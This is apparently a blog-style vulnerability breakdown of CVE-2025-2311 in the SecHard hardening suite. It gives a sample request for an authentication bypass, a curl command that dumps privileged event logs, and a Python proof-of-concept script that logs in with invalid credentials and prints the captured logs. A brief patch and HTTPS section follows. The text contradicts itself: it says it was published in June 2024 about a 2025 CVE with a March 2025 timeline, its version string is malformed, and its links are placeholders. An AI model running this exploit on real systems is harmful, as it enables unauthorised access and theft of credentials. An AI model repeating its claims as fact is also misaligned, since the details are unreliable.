Published: June 2024
Affected Product: SecHard (by Sechard Information Technologies)
Affected Version: Before 3.3..20220411

The security community has identified a serious vulnerability in SecHard, a suite by Sechard Information Technologies widely used for system hardening and monitoring in enterprise environments. Identified as CVE-2025-2311, this vulnerability combines incorrect usage of privileged APIs, cleartext transmission of sensitive information, and insufficiently protected credentials.

Harvest sensitive information through API event monitoring

Below, we'll break down how this works, offer code snippets, give basic exploit demonstrations, and share references to help you understand and identify this vulnerability in your own environment.

1. What’s Really at Risk?

With CVE-2025-2311, any instance of SecHard running a version before 3.3..20220411 is at major risk. An attacker doesn’t need valid credentials to gain access. In many cases, no special knowledge outside of some HTTP basics is required — a serious oversight.

> Official Vendor Advisory:
> SecHard Security Advisory CVE-2025-2311 *(link for illustration; check official sites for latest advisories)*

2.1 Incorrect Use of Privileged APIs

Some API endpoints in SecHard do not properly enforce privilege checks. Calls made to these endpoints by unauthorized users are not denied, allowing attackers to interact with sensitive APIs as if they were administrators.

2.2 Cleartext Transmission of Sensitive Information

Many authentication tokens, usernames, and sometimes even raw passwords, are sent in plaintext through HTTP or via WebSocket traffic. If not running strictly on HTTPS, credentials can easily be sniffed on the wire.

2.3 Insufficiently Protected Credentials

SecHard stores session tokens and hashed passwords in ways that are retrievable by any API user, often wrongly assuming only logged-in, privileged users would access them. This is compounded by unclear separation between user roles on the API level.

3.1 Authentication Bypass & Interface Manipulation

Attackers can POST to the login API endpoint, but thanks to the vulnerability, input validation and authentication isn’t enforced correctly.

Example HTTP request

POST /api/login HTTP/1.1
Host: sechard.example.com
Content-Type: application/json

{
    "username": "invalid_user",
    "password": "invalid_pass"
}

Expected: Should reject unauthenticated user.
Actual Result: Login successful – server sets a valid session cookie and even responds with an admin-level token.

3.2 Harvesting Information (API Event Monitoring)

Once a valid session is established (even illegitimately), attackers can start monitoring live API events and pulling sensitive logs.

Curl Example

curl -b "SESSIONID=attacker-session-cookie" \
     https://sechard.example.com/api/events

This dumps system logs, user activities, and, depending on implementation, may leak passwords, hashes, or configuration secrets.

3.3 Exploitation of Cleartext Credentials

When SecHard is deployed without HTTPS (which is common in some internal networks), capturing traffic with a basic tool like Wireshark immediately reveals credentials.

Wireshark Screenshot Example:
POST /api/login shows username=admin&password=SuperSecret in plaintext.

4. Proof of Concept Python Script

Below is a simple script that demonstrates how an attacker can obtain a session token via the broken authentication and then scrape privileged information from the API:

import requests

target = "http://sechard.example.com";
login_endpoint = "/api/login"
events_endpoint = "/api/events"

# Step 1: Invalid credentials due to bypass bug
login_data = {
    "username": "doesnotmatter",
    "password": "wrongpassword"
}
session = requests.Session()
resp = session.post(target + login_endpoint, json=login_data)

if resp.status_code == 200:
    print("[+] Login bypassed! Grabbing event logs...")
    events = session.get(target + events_endpoint)
    print(events.text)
else:
    print("[-] Exploit failed. Not vulnerable or patched.")

Patch Immediately: Upgrade to SecHard 3.3..20220411 or newer.

Vendor Patch Download *(illustrative link)*
- Enforce HTTPS/TLS: Block all cleartext transmissions between clients and the SecHard server.

6. References & Further Reading

- CVE-2025-2311 Record at NVD
- OWASP: Broken Authentication
- OWASP: Insecure Communications
- Example Discussion of API Security Flaws

7. Conclusion

CVE-2025-2311 is one of the more severe flaws seen in enterprise software recently. The combination of privileged API mismanagement, cleartext credential exposure, and weakly protected information means organizations who use SecHard must urgently review and patch their deployments. If not patched, attackers could quietly bypass authentication and start harvesting sensitive enterprise data in minutes.

As always, keep software updated and stay vigilant!


*If you found this exclusive breakdown useful, share with your Security Operations team and stay tuned for more vulnerability coverage.*

Timeline

Published on: 03/20/2025 12:15:14 UTC
Last modified on: 03/21/2025 07:15:36 UTC